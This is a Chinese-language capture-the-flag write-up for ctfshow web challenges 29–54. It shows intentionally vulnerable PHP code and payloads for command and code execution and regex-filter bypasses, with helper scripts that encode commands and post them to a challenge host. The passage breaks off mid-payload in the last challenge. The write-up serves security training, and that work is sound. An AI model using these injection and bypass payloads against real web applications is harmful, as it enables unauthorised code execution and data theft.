# web29

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flag

payload

?c=system(“tac%20fla*”);
image-20250426112927919

# web30

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 flagsystemphp

payload

?c=passthru("tac%20fla*");
image-20250426114032665

# web31

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题解一

system 被过滤可以用 passthru 函数绕过, cat 被过滤可以用 more、less、nl 绕过 (但我试过 more 不行??),空格被过滤可以用 ${IFS}%09 绕过。

空格绕过

${IFS} 但不能写作 $IFS

$IFS$

%09

<>

<

$IFS%09

?c=passthru("tac%09fla*");
image-20250426120052078

题解二

c 作为跳板执行另一个参数 a 的命令, a 的命令不受限制

?c=eval($_GET[a]);&a=system("cat flag.php");#之后 F12 查看源代码
?c=eval($_GET[a]);&a=system("tac flag.php");
image-20250426143314154

# web32

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 单引号、反引号、分号 等符号

文件包含漏洞

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426134002689
image-20250426133944069

# web33

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了双引号,用数组作为参数即可绕过

题解一

同上

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426143608404

题解二

?c=require$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426144027048

# web34

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤了冒号、括号

不能使用 echo

不能使用 eval 因为需要括号

同上

payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426135503562

# web35

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 尖括号、等于号

同上

payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426135943905

# web36

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了 数字

同上

payload

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
image-20250426140956823

# web37

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

payload

?c=data://text/plain,<?php system("tac fla*");?>
image-20250426185406502
  • 当你使用 ?c=data://text/plain,<?php system("tac fla*");?> 时,PHP 会通过 data:// 伪协议动态生成一个 PHP 文件,并将其内容当作 PHP 代码来执行。
  • include() 的作用是加载这个动态生成的文件内容并执行它。
  • 在这个过程中, system("tac fla*") 被执行,其输出直接写入到 HTTP 响应流中(stdout),因此你可以看到 flag.php 的内容。

换句话说, system() 的输出并不是被 include() 捕获,而是直接写入到 HTTP 响应中 。这就是为什么你能看到 flag.php 的内容。



# web38

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

题目过滤 “php” “flag”

<?php system(“tac fla*”);?> 进行 base64 编码得到 PD9waHAgc3lzdGVtKCJ0YWMgZmxhKiIpOz8+

但是 URl 会将 + 解析成空格,所以这个不行

构造 payload

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==     
#由<?php system("tac flag.php");?> 进行base64编码而来

或者利用短标签,将 php 换成 =

?c=data://text/plain,<?=%20system("cat%20fla*");?>
?c=data://text/plain,<?=%20system("tac%20fla*");?>
image-20250426190031953

# web39

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload

?c=data://text/plain,<?= system("tac fla*");?>
?c=data://text/plain,<?php system("tac fla*");?>
image-20250427123513944

# web40

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

无参文件读取

题解一

通过构造 payload 输出当前文件下的文件名

print_r(scandir(.));

但是由于过滤了相关符号,所以不能使用这个 payload,要想办法去掉 . 小数点

getallheaders():返回所有的HTTP头信息,返回的是数组⽽eval要求为字符串,所以要⽤implode()函数将数组转换为字符串
get_defined_vars():该函数的作⽤是获取所有的已定义变量,返回值也是数组,不过是二维数组,⽤var_dump()输出可以看⻅输出的内容,看⻅在第⼏位之后,可以⽤current()函数来获取其值,详细可以看官⽅函数。payload:var_dump(current(get_defined_vars()));
session_id()session_id()可以⽤来获取/设置当前会话 ID,可以⽤这个函数来获取cookie
中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后⽤hex2bin()函数,即传⼊?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHP
SESSID=706870696e666f28293b
session_start 函数是为了开启session
 
配合使⽤的函数:
print_r(scandir(.)); 查看当前⽬录下的所有⽂件名    print_r输出数组   print输出字符串
var_dump()
localeconv() 函数返回⼀包含本地数字及货币格式信息的数组。localeconv() 返回数组的第一个元素通常是:"."
current() 函数返回数组中的当前元素(单元),默认取第⼀个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动⼀步
end() 将数组的内部指针指向最后⼀个单元
next() 将数组中的内部指针向前移动⼀位
prev() 将数组中的内部指针倒回⼀位
array_reverse() 以相反的元素顺序返回数组

构造 payload 等价于 print_r(scandir(‘.’));

?c=print_r(scandir(current(localeconv())));
?c=print_r(scandir(pos(localeconv())));
?c=print_r(scandir(reset(localeconv())));

image-20250503112614366
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

可以发现 flag.php 在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用 next () 函数进行下一个值的读取。以下 payload 达到的效果是:输出 flag.php 源码,安全绕过字符过滤器

?c=highlight_flie(next(array_reverse(scandir(current(localeconv())))));
?c=show_source(next(array_reverse(scandir(current(localeconv())))));

$flag="ctfshow{d960f2a2-e9a5-4b80-a806-5e6a0e6b85c6}";

image-20250503113247089

题解二

Step 1: get_defined_vars() 是 PHP 的内置函数,返回当前作用域里定义的所有变量

?c=print_r(get_defined_vars());
image-20250503115725841

返回结果

Array (
    [_GET] => Array ( [c] => print_r(get_defined_vars()); )
    [_POST] => Array ( )
    [_COOKIE] => Array ( )
    [_FILES] => Array ( )
    [c] => print_r(get_defined_vars());
)

说明现在已经有变量 $_GET$_POST 、还有 c 等都在作用域内。


✅ Step 2: post 传参

1=phpinfo();

确认通过 POST 成功地注入了一段代码字符串

image-20250503120006048
Array (
	[_GET] => Array ( [c] => print_r(get_defined_vars()); ) 
	[_POST] => Array ( [1] => phpinfo(); ) 
	[_COOKIE] => Array ( ) 
	[_FILES] => Array ( ) 
	[c] => print_r(get_defined_vars()); 
)

✅ Step 3:返回数组

?c=print_r(next(get_defined_vars()));

可以成功拿到 phpinfo () 数组

image-20250503120059077

然后我们想让 eval() 执行这个 phpinfo(); ,但我们不能直接写 eval($_POST['1']) ,因为 [] 被正则拦截了。


✅ Step 4:

弹出数组

array_pop(...)           // 从这个数组中 “弹出” 最后一个值

$_POST 数组中 “取出” 我们传的值: phpinfo();

?c=print_r(array_pop(next(get_defined_vars())));
image-20250503124459045

页面返回 phpinfo () 这意味着我们已经成功拿到了想要执行的恶意代码字符串


✅ Step 5: 执行代码 得到 php 配置页面

?c=eval(array_pop(next(get_defined_vars())));
image-20250503124621948

✅ Step 6:post 传参

1=system("tac fla*");
image-20250503124758256
用户传入:
?c=eval(array_pop(next(get_defined_vars())))
程序执行:
eval("eval(array_pop(next(get_defined_vars())))")
第一个 eval 执行:
eval(array_pop(next(get_defined_vars())))
第二个 eval 执行:
system("tac fla*");


# web41

<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date:   2020-09-05 20:31:22
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这道题过滤了 数字 和 字母 (因为后面 /i 对大小写不敏感),并且不能用 异或取反自增 等操作(过

$+-^~ ),但是可以用 | (或)


题解一

先通过以下 1.php 脚本生成一个 rce_or.txt ,内容是上述可用字符及编码。

#1.php
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { 
	for ($j=0; $j <256 ; $j++) { 
		if($i<16){
			$hex_i='0'.dechex($i);
		}
		else{
			$hex_i=dechex($i);
		}
		if($j<16){
			$hex_j='0'.dechex($j);
		}
		else{
			$hex_j=dechex($j);
		}
		$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
		if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
					echo "";
    }
  
		else{
		$a='%'.$hex_i;
		$b='%'.$hex_j;
		$c=(urldecode($a)|urldecode($b));
		if (ord($c)>=32&ord($c)<=126) {
			$contents=$contents.$c." ".$a." ".$b."\n";
		}
	}
}
}
fwrite($myfile,$contents);
fclose($myfile);
image-20250503153743360

运行 python 脚本 rec_or.py

image-20250503154445517

cmd 命令

...>python rce_or.py http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/
image-20250503154203547
#rce_or.py
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将 php 写入环境变量需手动运行
if(len(argv)!=2):
   print("="*50)
   print('USER:python exp.py <url>')
   print("eg:  python exp.py http://ctf.show/")
   print("="*50)
   exit(0)
   
url=argv[1]
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("rce_or.txt","r")//rce_or.txt
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"|\""+s2+"\")"
   return(output)
   
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
   data={
       'c':urllib.parse.unquote(param)
       }
   r=requests.post(url,data=data)
   print("\n[*] result:\n"+r.text)

题解二

ctfshow_web41.py

#ctfshow_web41.py
import re
import requests
available = []
url = "http://8f42bff8-638e-4021-b42a-8e4fbb5a0e50.challenge.ctf.show/" #  修改 URL
for i in range(0,256):
    result = re.match(r'[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-',chr(i),re.I)
    if result is None:
        available.append(chr(i))
key1 = "system"         #修改命令
key2 = "cat flag.php"   #修改命令
gkey1 = ""
gkey2 = ""
data1 = ""
data2 = ""
def orkey(pos,keys):
    global gkey1
    global gkey2
    for i in range(0,len(available)):
        for j in range(i,len(available)):
            if ord(available[i])|ord(available[j]) == ord(keys[pos]):
                gkey1 += available[i]
                gkey2 += available[j]
                return
for i in range(len(key1)):
    orkey(i,key1)
data1 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"
gkey1 = ""
gkey2 = ""
for i in range(len(key2)):
    orkey(i,key2)
data2 = "(\""+gkey1+"\"|"+"\""+gkey2+"\")"
data ={
    "c":data1 + data2
}
res = requests.post(url,data)
print(res.text)
image-20250503161318154

# web42

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 20:51:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

/dev/null —— “黑洞” 设备文件

/dev/null 是 Linux 系统中一个特殊的设备文件,可以看作一个 “数据黑洞”:

  • 写入它的所有内容都会被丢弃
  • 读取它则永远什么也得不到(立即返回 EOF)。

📌 常见用途:

操作意义
command > /dev/null把标准输出丢弃,禁止输出任何正常信息
command 2> /dev/null把标准错误丢弃,屏蔽错误信息
command > /dev/null 2>&1同时屏蔽标准输出和标准错误,终端不会显示任何信息

1>/dev/null 2>&1 的含义和解析

分解成五步解释:

✅ 表达形式:

command 1>/dev/null 2>&1

✅ 关键点详解:

表达部分含义
1>标准输出(stdout,文件描述符 1)的重定向
/dev/null重定向的目标是黑洞设备文件,等价于 "扔掉"
2>标准错误(stderr,文件描述符 2)的重定向
&1代表 “重定向到与文件描述符 1 相同的地方”,即 stdout 当前的去向

🎯 整体理解:

  • 1>/dev/null :标准输出被重定向到 /dev/null,不显示任何正常信息;
  • 2>&1 :标准错误也被重定向到标准输出的目标(此时标准输出已经是 /dev/null),所以错误信息也不显示

✅ 所以最终效果是:所有输出(正常 + 错误)全部被丢弃,终端不会显示任何信息。


题目这里是 $c 参数后面接了个 >/dev/null 2>&1 ,使用 > /dev/null 2>&1 将命令结果全部丢弃(不进行回显的意思)

;	//分号
|	//只执行后面那条命令(把前一个命令的输出作为后一个命令的输入)
||	//只执行前面那条命令(只有前一个命令执行失败(退出码非 0),才执行后一个命令)
&	//两条命令都会执行(让前面的命令在后台运行,立即返回执行下一条命令)
&&	//两条命令都会执行(只有前一个命令执行成功(退出码是 0),才执行后一个命令)

构造 payload

?c=tac fla*;
?c=tac fla*||
?c=tac fla*%0a             #利用换行分隔
?c=cat flag.php||          #之后查看源代码
?c=tac%20fla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码
image-20250503170615023

# web43

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat

payload 参考 web42

?c=tac fla*||
?c=tac fla*%0a             #利用换行分隔
?c=tac%20fla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码
image-20250503171813642

# web44

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:32:01
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag

payload 参考 web42

?c=tac fla*||
?c=tac fla*%0a             #利用换行分隔
?c=tac%20fla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码
image-20250503172131947

# web45

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:35:34
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格

payload 参考 web42

%09 代替空格

?c=tac%09fla*||
?c=tac%0afla*%0a             #利用换行分隔
?c=tac%0afla*%26%26        #即为?c=tac%20fla*&&,将前面的命令保留,后面的命令丢弃,& 需要 URL 编码
image-20250503172518578

# web46

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:50:19
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

正则过滤 ; cat flag 空格 数字 $ *

? 代替 * 即可

%09 不是数字

payload 参考 web42

?c=tac%09fl?g.php||
?c=tac%09fla?.???||


# web47

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 21:59:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

在前几题基础上过滤了 more less head sort tail

payload 不变

?c=tac%09fl?g.php||
?c=tac%09fla?.???||
image-20250503190038198

# web48

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:06:20
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||


# web49

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:22:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||
image-20250503190526773

# web50

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:32:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
    
}

想到用 <> 代替 %09

但是发现 <>? 组合的时候是没有回显输出的

所以使用 \'' 代替 ?

?c=tac<>fla\g.php||
?c=tac<>fla\g.php%0a    
?c=tac<>fla''g.php||
image-20250503191717813

# web51

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:42:52
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 tac

另外同 cat 功能的函数还有:

cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

?c=nl<>fl\ag.php||
image-20250503192158790

# web52

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-05 22:50:30
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

过滤了 <>

?c=nl${IFS}fla\g.php||

查看源代码后,发现 flag 换位置了

image-20250503193322495

查看根目录

?c=ls${IFS}/||
image-20250503194743382

查看根目录下的 flag 文件(根目录是 /

?c=nl${IFS}/fla\g||
image-20250503195142251

# web53

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 18:21:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

甚至不用命令分隔了

?c=nl${IFS}fla\g.php
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php  #之后查看源代码
image-20250503195833343

# web54

<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 19:43:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

题解一

grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

grep '{' fla?.php 在 fla?.php 匹配到的文件中,查找含有 { 的文件,并打印出包含 { 的这一行

?c=grep${IFS}%27